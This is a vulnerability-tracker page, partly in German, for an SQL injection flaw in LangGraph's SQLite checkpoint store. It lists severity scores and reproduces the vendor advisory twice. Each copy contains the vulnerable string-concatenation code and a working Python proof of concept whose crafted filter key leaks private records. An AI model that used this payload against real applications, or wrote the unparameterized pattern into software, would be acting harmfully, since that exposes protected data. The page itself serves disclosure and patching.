CVE-2025-64104

highPriorität · verfolgen · 0EPSS 0.002 · 15. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.24% (15th) EPSS
CVSS 7.3 · high
Is it mine?
2 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-27

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.7–7.3

v3.17.3highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · ENISA EU
v3.17.3highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2 · Auswirkung 4.7
v3.17.3highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · OSV
v3.16.7mediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (2)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-7p73-8jqx-23r8LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore2025-10-29ghsa · osvUS

    ### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

  • PYSEC-2026-1529LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore2026-07-07vendor · osvUS

    ### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

06

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07

quellen

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veröffentlicht 2025-10-29geändert 2026-06-17
08

Referenzen (8)

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